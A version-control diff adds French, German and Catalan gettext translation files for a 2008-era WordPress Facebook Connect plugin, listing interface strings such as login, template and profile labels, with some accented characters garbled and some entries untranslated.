+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/DHORDAIN/fbconnect-fr_FR.po	(revision 44)
@@ -0,0 +1,256 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-27 17:46+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Mathieu DHORDAIN <mathieu@dhordain.com>\n"
+"Language-Team: Sociable <jreyes@sociable.es>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: SPAIN\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
+msgid "Community friends"
+msgstr "Amis de la communautÃ©"
+
+#: community.php:32
+msgid "Community"
+msgstr "CommunautÃ©"
+
+#: community.php:32
+msgid "members"
+msgstr "membres"
+
+#: community.php:48
+msgid "Previous page"
+msgstr "Page prÃ©cÃ©dente"
+
+#: community.php:51
+msgid "Next page"
+msgstr "Page suivante"
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr "Titre :"
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "Message de bienvenue :"
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "Message du pied de page :"
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "Message d'invitation :"
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "Titre du visiteur :"
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "Message d'identification :"
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr "Message de membre :"
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr "Maximum de membres :"
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr "Bouton d'identification :"
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "Publier ce commentaire sur Facebook"
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "Options de Facebook Connector"
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "Configuration de l'application Facebook"
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Config. App. Facebook"
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "AccÃ©der Ã  l'application Facebook Developer"
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "ClÃ© API Facebook"
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Secret API Facebook"
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "Approbation automatique"
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "Activer l'approbation automatique des commentaires"
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "Formulaire de commentaire"
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "Autoriser les membres Ã  envoyer les commentaires sur Facebook"
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "Identification sÃ©curisÃ©e"
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr "Facebook Connect par SSL"
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "Configuration de mise Ã  jour"
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "ThÃšmes de commentaires"
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "Aucun thÃšme Facebook dÃ©fini. Merci d'activer un thÃšme ou d'en crÃ©er un nouveau !"
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "ThÃšmes non synchronisÃ©s avec Facebook. Tapez les textes des thÃšmes et cliquez sur \"CrÃ©er le thÃšme\""
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "ID du thÃšme actif :"
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "ThÃšme ID :"
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr "Activer le thÃšme"
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr "Effacer le thÃšme"
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "Activer le thÃšme Facebook"
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr "Citation d'une ligne :"
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr "Titre de la citation courte :"
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr "Body de la citation courte :"
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr "Titre de la citation complÃšte :"
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr "Body de la citation complÃšte :"
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr "ThÃšme de la citation d'une ligne :"
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr "ThÃšme de la citation courte :"
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr "Titre"
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr "Body"
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "ThÃšme de la citation complÃšte :"
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "CrÃ©er le thÃšme"
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr "voir plus..."
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr "Inviter vos contacts"
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr "Devenir membre !"
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "SÃ©lectionner les contacts que vous souhaitez inviter."
+
+#: myhome.php:4
+msgid "User profile"
+msgstr "Profil du membre"
+
+#: myhome.php:16
+msgid "User comments"
+msgstr "Commentaires du membre"
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr "Status :"
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr "Nom :"
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr "Pseudo :"
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr "Membre depuis :"
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr "URL :"
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr "A propos :"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/GILLES/fbconnect-fr_FR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/GILLES/fbconnect-fr_FR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/GILLES/fbconnect-fr_FR.po	(revision 44)
@@ -0,0 +1,256 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-27 17:46+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Javier Reyes <jreyes@sociable.es>\n"
+"Language-Team: dismoioÃ¹ <geomagilles@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: FRANCE\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
+msgid "Community friends"
+msgstr "Amis dans la communautÃ©"
+
+#: community.php:32
+msgid "Community"
+msgstr "CommunautÃ©"
+
+#: community.php:32
+msgid "members"
+msgstr "membres"
+
+#: community.php:48
+msgid "Previous page"
+msgstr "Page prÃ©cÃ©dente"
+
+#: community.php:51
+msgid "Next page"
+msgstr "Page suivante"
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr "Titre :"
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "Msg de bienvenue :"
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "Msg de bas de page :"
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "Msg d'invitation :"
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "Titre des visiteurs :"
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "Msg de login :"
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr "Msg membre :"
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr "Nb max. d'utilisateurs :"
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr "Bouton de login :"
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "Publier ce commentaire sur Facebook"
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "Options de Facebook Connector"
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "Configuration sur Facebook de l'application "
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Config. sur Facebook de l'app."
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "Aller sur l'app. Facebook Developer"
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "Facebook API Key :"
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Facebook API Secret :"
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "Approbation automatique :"
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "Permettre l'approbation automatique des commentaires"
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "Formulaire de commentaire :"
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "Permettre aux utilisateurs de publier leur commentaire sur Facebook"
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "Login sÃ©curisÃ© :"
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr ""
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "Mise Ã  jour de la configuration"
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "Gabarit des commentaires"
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "Pas de gabarit actif, merci d'en crÃ©er un nouveau ou d'en activer un ! "
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "Gabarit non synchronisÃ© avec Facebook, Ã©crivez le texte du gabarit et pressez \"crÃ©er le gabarit\" !"
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "Activer le Facebook template ID"
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "Template ID :"
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr "Activer le gabarit"
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr "Effacer le gabarit"
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "Gabarit Facebook actif"
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr "ActualitÃ© d'une ligne"
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr ""
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr ""
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr ""
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr ""
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr ""
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr ""
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr "Titre"
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr "Corps"
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "Gabarit d'une actualitÃ© complÃšte"
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "CrÃ©er un gabarit"
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr "voir plus..."
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr "Invitez vos amis"
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr "Devenez membre )"
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "Choisissez les amis que vous voulez inviter."
+
+#: myhome.php:4
+msgid "User profile"
+msgstr "Profil"
+
+#: myhome.php:16
+msgid "User comments"
+msgstr "Commentaires"
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr "Status :"
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr "Nom :"
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr "Pseudo :"
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr "Membre depuis :"
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr "URL :"
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr "A propos de moi :"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/GRUBER/fbconnect-de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/GRUBER/fbconnect-de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/GRUBER/fbconnect-de_DE.po	(revision 44)
@@ -0,0 +1,256 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-27 17:46+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Sebastian Schwittay <sebastianschwittay@gmail.com>\n"
+"Language-Team: Sociable <jreyes@sociable.es>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: SPAIN\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
+msgid "Community friends"
+msgstr "Community Freunde"
+
+#: community.php:32
+msgid "Community"
+msgstr "Community"
+
+#: community.php:32
+msgid "members"
+msgstr "Mitglieder"
+
+#: community.php:48
+msgid "Previous page"
+msgstr "Vorherige Seite"
+
+#: community.php:51
+msgid "Next page"
+msgstr "NÃ€chste Seite"
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr "Titel:"
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "BegrÃŒÃungstext:"
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "Footer-Text:"
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "Einladungstext:"
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "Besucher Titel:"
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "Login-Nachricht:"
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr "Mitgliedsnachricht:"
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr "Max. Nutzer:"
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr "Loginbutton:"
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "VerÃ¶ffentliche diesen Kommentar auf Facebook"
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "Facebook Connector Optionen"
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "Facebook-Anwendungs Konfiguration"
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Facebook-Anwendungs Konfiguration"
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "Gehe zur Facebook Developer Anwendung"
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "Facebook API Key:"
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Facebook API Secret:"
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "Automatische BestÃ€tigung:"
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "Aktiviere automatische Kommentargenehmigung"
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "Kommentar-Formular:"
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "Erlaube Nutzern Kommentare an Facebook zu senden."
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "Sicherer Login:"
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr "Facebook Connect via SSL."
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "Konfiguration aktualisieren"
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "Kommentar-Template"
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "Kein aktives Facebook-Template. Bitte Template aktivieren oder ein neues Template erstellen."
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "Die Templates sind nicht mit Facebook synchronisiert, bitte schreibe den Template-Text und klicke auf \"Template Erzeugen\"."
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "ID des aktiven Facebook-Templates:"
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "Template ID:"
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr "Template aktivieren"
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr "Template lÃ¶schen"
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "Aktives Facebook Template"
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr "Einzeiliger Auszug:"
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr "Kurz-Auszug Titel:"
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr "Kurz-Auszug Body:"
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr "Komplett-Story Titel:"
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr "Komplett-Story Body:"
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr "Template fÃŒr einzeiligen Auszug:"
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr "Template fÃŒr Kurz-Auszug:"
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr "Titel"
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr "Body"
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "Template fÃŒr Komplett-Story:"
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "Template Erzeugen"
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr "mehr..."
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr "Freunde einladen"
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr "Mitglied werden!"
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "Bitte Freunde zum Einladen auswÃ€hlen."
+
+#: myhome.php:4
+msgid "User profile"
+msgstr "Benutzer Profil"
+
+#: myhome.php:16
+msgid "User comments"
+msgstr "Benutzer Kommentare"
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr "Status:"
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr "Name:"
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr "Nickname:"
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr "Mitglied seit:"
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr "URL:"
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr "Ãber mich:"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-ca_ES.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-ca_ES.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-ca_ES.po	(revision 44)
@@ -0,0 +1,289 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-01-16 14:32+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Miquel LabÃ²ria <numialgui@gmail.com>\n"
+"Language-Team: Sociable <jreyes@sociable.es>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: SPAIN\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
+msgid "Community friends"
+msgstr "Amics a la comunitat"
+
+#: community.php:32
+msgid "Community"
+msgstr "Comunitat"
+
+#: community.php:32
+msgid "members"
+msgstr "membres"
+
+#: community.php:48
+msgid "Previous page"
+msgstr "PÃ gina anterior"
+
+#: community.php:51
+msgid "Next page"
+msgstr "PÃ gina segÃŒent"
+
+#: fbConnectCore.php:296
+msgid "Title:"
+msgstr "TÃ­tol:"
+
+#: fbConnectCore.php:297
+msgid "Welcome msg:"
+msgstr "Text capÃ§alera:"
+
+#: fbConnectCore.php:298
+msgid "Footer msg:"
+msgstr "Text peu:"
+
+#: fbConnectCore.php:299
+msgid "Invite msg:"
+msgstr "Text invitaciÃ³:"
+
+#: fbConnectCore.php:300
+msgid "Visitors title:"
+msgstr "Text visites:"
+
+#: fbConnectCore.php:301
+msgid "Login msg:"
+msgstr "Text login:"
+
+#: fbConnectCore.php:302
+msgid "Member msg:"
+msgstr "Text login:"
+
+#: fbConnectCore.php:303
+msgid "Max users:"
+msgstr "MÃ x. fotos:"
+
+#: fbConnectCore.php:304
+msgid "Login button:"
+msgstr "Facebook Login:"
+
+#: fbConnectInterface.php:47
+msgid "Publish this comment to Facebook"
+msgstr "Publica el comentari a Facebook"
+
+#: fbConnectInterface.php:56
+msgid "The WordPress fbconnect plugin is not active."
+msgstr "El plugin de Facebook Connect para Wordpress no est&aacute; activo."
+
+#: fbConnectInterface.php:57
+#, php-format
+msgid "Check %sfbconnect Options%s for a full diagnositic report."
+msgstr "Comprova %sfbconnect Options%s per a un diagnÃ²stic complert."
+
+#: fbConnectInterface.php:68
+msgid "fbconnect options"
+msgstr "Opciones de FBConnect"
+
+#: fbConnectInterface.php:68
+msgid "Facebook Connector"
+msgstr "Facebook Connector"
+
+#: fbConnectInterface.php:110
+msgid "At least one of Facebook Connector options was NOT updated"
+msgstr "Al menos una de las opciones de Facebook Connector no se ha actualizado."
+
+#: fbConnectInterface.php:112
+msgid "Facebook Connector options updated"
+msgstr "Configuraci&oacute;n de Facebook Connector actualizada correctamente"
+
+#: fbConnectInterface.php:133
+msgid "Error updating Facebook templates!"
+msgstr "Se ha producido un error al actualizar las plantillas de Facebook!"
+
+#: fbConnectInterface.php:135
+msgid "Facebook templates updated! Templates ID:"
+msgstr "Plantillas de Facebook actualizadas!, ID de la platilla:"
+
+#: fbConnectInterface.php:172
+msgid "Facebook Connector Options"
+msgstr "ConfiguraciÃ³ del Facebook Connector"
+
+#: fbConnectInterface.php:177
+msgid "Facebook Application Configuration"
+msgstr "ConfiguraciÃ³ de l'aplicaci&oacute; Facebook:"
+
+#: fbConnectInterface.php:180
+msgid "Facebook App. Config."
+msgstr "Configuraci&oacute; aplicaci&oacute; Facebook:"
+
+#: fbConnectInterface.php:182
+msgid "Go to Facebook Developer App"
+msgstr "Anar a la configuraci&oacute; d'aplicacions de Facebook"
+
+#: fbConnectInterface.php:187
+msgid "Facebook API Key:"
+msgstr "Facebook API Key (Clau API):"
+
+#: fbConnectInterface.php:193
+msgid "Facebook API Secret:"
+msgstr "Facebook API Secret (Secret):"
+
+#: fbConnectInterface.php:199
+msgid "Automatic Approval:"
+msgstr "AprovaciÃ³ automÃ tica:"
+
+#: fbConnectInterface.php:203
+msgid "Enable comment auto-approval"
+msgstr "Habilita aprovaci&oacute; automÃ tica dels comentaris"
+
+#: fbConnectInterface.php:208
+msgid "Comment Form:"
+msgstr "Formulari de comentaris:"
+
+#: fbConnectInterface.php:213
+msgid "Allow send user comments to Facebook."
+msgstr "Permetre l'enviament de comentaris a Facebook."
+
+#: fbConnectInterface.php:218
+msgid "Secure login:"
+msgstr "Login segur:"
+
+#: fbConnectInterface.php:223
+msgid "Facebook Connect Via SSL."
+msgstr "Login de Facebook segur mitjanÃ§ant SSL."
+
+#: fbConnectInterface.php:233
+msgid "Update Configuration"
+msgstr "Actualiza configuraciÃ³"
+
+#: fbConnectInterface.php:239
+msgid "Comment templates"
+msgstr "Plantilles de comentaris"
+
+#: fbConnectInterface.php:246
+msgid "No active Facebook template, please activate a template or create a new one!"
+msgstr "No hi ha cap plantilla activa, si us plau activeu una plantilla de Facebook per l'enviament de comentaris."
+
+#: fbConnectInterface.php:248
+msgid "Templates not synchronized with Facebook, write the templates text and press create templates!"
+msgstr "No existeixen plantilles de comentaris a Facebook, modifiqueu la plantilla d'exemple i feu clic a crea plantilla."
+
+#: fbConnectInterface.php:250
+msgid "Active Facebook template ID:"
+msgstr "ID de plantilla activa:"
+
+#: fbConnectInterface.php:257
+msgid "Template ID:"
+msgstr "ID de la plantilla:"
+
+#: fbConnectInterface.php:257
+msgid "Activate template"
+msgstr "Activa plantilla"
+
+#: fbConnectInterface.php:258
+msgid "Delete template"
+msgstr "Elimina plantilla"
+
+#: fbConnectInterface.php:260
+msgid "Active Facebook template"
+msgstr "Plantilla de Facebook activa"
+
+#: fbConnectInterface.php:263
+msgid "One line story:"
+msgstr "Plantilla de una linia:"
+
+#: fbConnectInterface.php:264
+msgid "Short story title:"
+msgstr "TÃ­tol plantilla curta:"
+
+#: fbConnectInterface.php:265
+msgid "Short story body:"
+msgstr "Missatge de plantilla curta:"
+
+#: fbConnectInterface.php:266
+msgid "Full story title:"
+msgstr "TÃ­tol plantilla llarga:"
+
+#: fbConnectInterface.php:267
+msgid "Full story body:"
+msgstr "Missatge plantilla llarga:"
+
+#: fbConnectInterface.php:297
+msgid "One line stories template:"
+msgstr "Plantilla d'una linia (one line):"
+
+#: fbConnectInterface.php:303
+msgid "Short stories template:"
+msgstr "Plantilla curta (Short storie):"
+
+#: fbConnectInterface.php:305
+#: fbConnectInterface.php:314
+msgid "Title"
+msgstr "TÃ­tol"
+
+#: fbConnectInterface.php:307
+#: fbConnectInterface.php:316
+msgid "Body"
+msgstr "Missatge"
+
+#: fbConnectInterface.php:312
+msgid "Full stories template:"
+msgstr "Plantilla llarga (full storie):"
+
+#: fbConnectInterface.php:324
+msgid "Create Template"
+msgstr "Crea plantilla"
+
+#: fbconnect_widget.php:42
+msgid "view more..."
+msgstr "veure'n mÃ©s..."
+
+#: invitefriends.php:4
+msgid "Invite your friends"
+msgstr "Convida als teus amics"
+
+#: invitefriends.php:15
+msgid "Become a Member!"
+msgstr "Visita la pÃ gina"
+
+#: invitefriends.php:21
+msgid "Select the friends you want to invite."
+msgstr "Selecciona els amics que vols convidar."
+
+#: myhome.php:4
+msgid "User profile"
+msgstr "Perfil de l'usuari"
+
+#: myhome.php:16
+msgid "User comments"
+msgstr "Comentaris de l'usuari"
+
+#: userprofile.php:25
+msgid "Status:"
+msgstr "Estat:"
+
+#: userprofile.php:26
+msgid "Name:"
+msgstr "Nom:"
+
+#: userprofile.php:27
+msgid "Nickname:"
+msgstr "Ãlies:"
+
+#: userprofile.php:28
+msgid "Member since:"
+msgstr "Membre des de:"
+
+#: userprofile.php:29
+msgid "URL:"
+msgstr "AdreÃ§a:"
+
+#: userprofile.php:30
+msgid "About me:"
+msgstr "Sobre mi:"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-de_DE.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-de_DE.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/lang/fbconnect-de_DE.po	(revision 44)
@@ -0,0 +1,256 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: FBConnect Wordpress plugin 1.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-12-27 17:46+0100\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Sebastian Schwittay <sebastianschwittay@gmail.com>\n"
+"Language-Team: Sociable <jreyes@sociable.es>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: SPAIN\n"
+"X-Poedit-SourceCharset: iso-8859-1\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: ..\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: community.php:18
